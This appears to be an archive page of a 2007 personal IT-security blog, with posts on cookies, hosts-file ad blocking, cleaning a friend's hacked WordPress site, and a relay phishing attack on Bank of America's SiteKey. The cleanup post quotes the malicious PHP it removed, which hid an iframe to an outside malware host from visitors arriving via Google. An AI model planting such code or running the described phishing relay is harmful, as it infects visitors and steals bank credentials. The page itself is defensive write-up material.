A Progammer explores the IT Security field; offering packets of useful information he picks up along the way.
Subscribe

Archive for the ‘Internet security’

Web Cookies

December 30, 2007 By: Ron Category: Internet security No Comments →

Since most people love cookies, I thought I’d explore the web cookie topic. Some people have the misconception that cookies can do nefarious things to your computer like copy your files, reveal your identity or damage your computer in some way. As a web user you should understand what cookies do and some of the privacy concerns they raise. With this knowledge I hope you can make an informed decision on what kinds of cookies you allow or block at the browser level, based on your comfort level.

Let’s say you open your browser and go to ‘http://www.amazon.com/‘. You’re visiting the site using a browser and acting as the client, while Amazon.com, running a web server is the server side. Webserver handles HTTP requests. HTTP is a stateless protocol, meaning, when I go to a page at Amazon, the Webserver sends the page to my browser and I see it. When I click on a book that I like, a new request is sent to the Webserver and a new new page is sent back to my browser. The Webserver has no knowledge of the previous page I clicked. They are like humans with no memory, constantly meeting new people. Now you’re going to ask, “What do you mean that Amazon.com is stateless when it shows my name when I visit and it seems to know what books I like?”. Good question. This is where cookies come into play. Cookies allow a webserver to interact with a client in a stateful fashion. A cookie is a parcel of text that is sent to the server with each request which allows the server to remember the client. There are different types of cookies used on the internet; persistent cookies and session cookies (or transient cookies). Each of these types of cookies can be turned on or off in the browser settings. A session cookie allows the webserver to know who you are as you move from page to page. Session cookies store information in the browser memory, which is available for the duration of the browser session. This information is only available as long as your browser remains open. If you close your browser, the session cookie information is gone. It’s called a session cookie for the reason that this type of cookie has a short life. For example, your bank’s site will establish a session cookie after you log on that is valid as long as you are interacting with the bank site. However, if you walk away from your computer for a snack, chances are your session will be invalid so that when you try to click on your checking activity, you’ll be prompted to login again. This ensures against someone walking over to your computer and viewing your private financial data.

A neat little trick to view your session cookie details is the following: Go to a site like ‘amazon.com’ or your bank site (really most sites establish a session cookie to know you as you move around). When you’re on that site, copy and paste javascript:alert(document.cookie)’ into your browser. You’ll see a bunch of name/value pairs. One of them is the SID or session-id, which is the ID that tells the webserver who is making the request. Very cool indeed.

The other type of cookie is called a ‘persistent cookie’. This cookie is actually stored on your computer in a little file with information that is used by the webserver to idenify you. When you return to a site that already has a cookie stored on your computer, the browser automatically passes on the cookie with the request. The webserver now has some identifying data. Now if you visit a site and see that your userid is already populated or if you go to, say, amazon.com and it says, “Welcome back Ron”, the persistent cookie makes this possible. If website A stores a cookie on your computer, website B can’t access the cookie. However, even if a website somehow was able to access a cookie from another site the information in the cookie would not make sense. Only the issuing website would be able to make sense of the data stored in the cookie. Another application of a ‘persistent cookie’ is that it can store information about you that will help the website create a page that was customized by you. The cookie files are stored in /Windows/cookies or in /Windows/profiles/username/cookies directories, where username is replaced with the user’s login name. If your operating system directory is not named Windows (such as Winnt for Windows NT) then look in that directory instead of the Windows directory. If you like, you can delete all of them or delete them for sites you don’t want to be storing cookies.

So what’s the bottom line? Are cookies dangerous in any way? Should I block cookies from being set? The truth is that cookies aren’t dangerous and cannot do anything detremental to your computer. Cookies can’t get any more information about you than what you give the website issuing the cookie. Also, cookies are not able to aid the webserver to read files on your computer.

A good practice that users employ is to browse the internet with cookies turned off by default. Once you visit a site and decide to trust that site, you can then proceed to add the site and allow your browser to accept cookies from this site. You can also view the site’s privacy policies to make sure that you’re comfortable with their policies.

In a future post I will talk about third-party cookies. These cookies raise privacy concerns, since they allow ad companies to track the different types of site you visit and then tailor their ads based on the data collected.

My good friend’s site got hacked.

November 18, 2007 By: Ron Category: Internet security 1 Comment →

A friend up mine, Shimon Sandler, has a website that got hacked. He turned to me for help. Shimon runs a popular blog on SEO (Search Engine Optimization). When you do a search in Google for “Shimon Sandler” he is always number one (he’s very good at what he does). A few weeks back Shimon’s site got “blacklisted”, which means that when you clicked on the link to his site a message popped on your screen. It said, “Warning: visiting this site may harm your computer”. With the help of Matt Cutts from Google we discovered the “mal-ware”! This malicious software reared it’s ugly head ONLY if the page prior (Referrer) was any page from Google. The “curl” command came in handy in this case. You certainly never want to click on a suspicious link. Curl is a command that allows you to download a URL so that you can view it in text editor rather than requesting it in a browser.

1. Fetch the page with a Google referrer:
curl -H ‘Referer: http://www.google.com/search?hl=en&q=rbn’
http://www.shimonsandler.com/ > /tmp/1

2. Fetch the page with no referrer:
curl http://www.shimonsandler.com/ > /tmp/2

3. Compare the two pages:
diff -u /tmp/2 /tmp/1

The cloaking/malware is included via this line:
<iframe src=”http://302found.net/in.cgi?20″ mce_src=”http://302found.net/in.cgi?20″ style=”display:none;”></iframe>

As you can see, I requested two pages. One was just straight www.shimonsandler.com with no Referrer page and the other was www.shimonsandler.com with a Google Referrer in there. The one with the Google Referrer shows an iframe with a suspicious link! That is the “mal-ware”.

I then logged onto Shimon’s web-server and found the server code responsible for displaying this iframe link.

Here is the command I used to find which script file contained “302found”.
find . -exec grep 302found {} dev/null \;

Here we are:
./wp-content/themes/SS-shimon_sandler/sidebar.php:>? $rf = $_SERVER['HTTP_REFERER']; $se = “google”; if (preg_match(”/$se/”,$rf)) { echo ‘<iframe src=”http://302found.net/in.cgi?20″ mce_src=”http://302found.net/in.cgi?20″ style=”display:none;”></iframe>’;} ?>

You can see the code is doing a check on the REFERRER, and if the URL contains “Google” then it writes out to the HTML this nasty iframe which is set so noone could see it on the page.

Soon after I took out that code in the PHP file, Shimon’s site was once again white-listed.

Here is a great link I found with details on what to do if your site gets hacked. Even if your site was never hacked it’s worth it spend the time to review some basic suggestions on how to properly secure your site. Remember, as with all passwords, make sure its a strong password. Any password that is just a word, like ‘pumpkin’ or ‘dandelions’ is extremely weak. I can’t say exactly how Shimon’s site got hacked, although if you follow some good security principals, it will better protect you and possibly, prevent an attack like this.

The "hosts" file

September 16, 2007 By: Ron Category: Internet security No Comments →

The host file can be found in any system hooking up to the Internet and can be a useful tool to help better lockdown your system. A little background first. When I request a web page in my browser, say www.cnn.com, my system (unbeknown to me) sends out a DNS ( Domain Name System) query to find out what the IP address is. DNS was created to save us humans the pain of typing and remembering IP addresses. For example, instead of typing in “http://64.236.91.23/“, we can type meaningful URLs like www.cnn.com.

The “hosts” file on your system acts as a local DNS. If there is an entry there, your system will use the IP in your HOSTS and will not proceed to query DNS over the Internet. If you open up the hosts file (on my windows XP it’s here - C:\WINDOWS\system32\drivers\etc), you will see this line:

127.0.0.1 localhost

The statement above creates a mapping between the domain and IP address. If you type ‘localhost’ in your browser it will take you to your web server on your PC, if a webserver is running. The first column in this statement is reserved for the IP address and the second column always contains the hostname. If you have computers on your network that are using fixed IP’s, the “hosts” file would be a good place to put memorable names for your different machines. For example, you would add an entry like the one below:

192.168.1.4 ourmac

Now, if you need to connect to your MAC computer in order to Telnet or to access a website running on that machine, you would just say “http://ourmac“, or “telnet ourmac”.

This is all nice and convenient, but how does this secure my system from spy-ware, ad-ware or other malicious places I don’t want my computer going to? The solution is simple; add these domains to your host file and point them to 127.0.0.1, essentially making these requests go no-where. Having these entries in your hosts file is telling your computer, “I want you to go to the IP address I set up for this - don’t go and look them up against the DNS”. You may have some entries in the hosts that look like the following:

127.0.0.1 doubleclick.com
127.0.0.1 ads.doubleclick.com
127.0.0.1 ads.msn.com

These entries will block unwanted ad sites. Here you can download an ad-blocking “hosts” file to replace the hosts file on your own PC. Someone spent the time to compile and share this. You can also use the hosts file to block your kids from going to certain sites that you don’t want them going to. While we know there is no “silver bullet” security solution, this hosts file knowledge can help make your computing experience safer.

Bofa Busted

August 24, 2007 By: Ron Category: Internet security, Phishing 1 Comment →

One of the banks I use is Bank of America. When I first signed up for online access I was asked to create a SiteKey, and I thought, wow, this is clever security. SiteKey attempts to prevent phishing attacks by displaying, upon login, a graphic image that the user has set up themselves and given a unique name. This SiteKey is accomplished by using a secure cookie that is stored on the user’s computer; when logging in the server verifies some encrypted data in the cookie and presents you with your image. The premise is based on the theory that if you see your unique image and name, you can be certain that you are logging into their authorized website and not someone pretending to be Bank of America (phishing scam). That sounds all well and good, right? Not exactly, since a clever hacker using social engineering might just be able to get away with grabbing your logon credentials and hijacking your account. The proof of concept demonstrated here uses a man-in-the-middle attack.

Here is the definition from wikipedia:

In cryptography, a man-in-the-middle attack (MITM) is an attack in which an attacker is able to read, insert and modify at will, messages between two parties without either party knowing that the link between them has been compromised. The attacker must be able to observe and intercept messages going between the two victims….

The breakdown occurs because there needs to be a way to allow someone to logon to a new computer. Let’s say you want to check your balance at work. So, BOA will ask you a secret question and if you answer it correctly you will get that cookie and then future logon attempts won’t need to ask you a security question. Once that is set, all future visits to the BOA site will show you your Sitekey graphic once you put in your username.

Here is how the grad student Christopher Soghoian did it. You get an email from a phisher that looks like a BOA email with the logo and everything. Inside the email is a link that tells you to log on to your account. You click on the link and you are directed to a phisher’s site that looks exactly like BOA’s website. The malicious site asks you for your login id, and you type it in. The phisher site goes off (behind the scenes) and grabs your security question. This is normal since BOA allows you to log on to the site with multiple computers and assumes that you are signing on using a computer that you don’t normally use. The phishing site presents your security question that you had setup when you first signed up with BOA. Then the phisher site goes out to BOA and uses your answer to get your site-key and presents it to you on a page that looks perfectly like BOA. You’re like, “hey that’s my Sitekey - all must be well and you proceed with typing in your password. Your login credentials are now known by the bad guys; you have become a victim of a phishing attack. Some do say that, in reality, this attack could not actually be done, since BOA uses clever monitoring tools provided by RSA that would trigger an alarm if the same IP address was repeatedly requesting this type of first time logins. In any case, it just goes to show you how careful and vigilant one should be when entering private information online.

Here are some tips to avoid get phished:

1. Never ever click on a link to log on to any site from an email. If you stick by that rule, you should be fine. Log in by typing the address directly into your browser or use a bookmark.

2. Always look for security lock to the right of the address, or glance at the address bar to see if the URL starts with https. If not, close your browser (don’t even think of logging on). The video of the attack done by Chris shows the lock to the left of the address bar , which actually threw me off for a second until I saw “http://” without the “s” (very clever indeed).

3. Think about getting some anti-phising software that you can download. Firefox has this technology already built into it.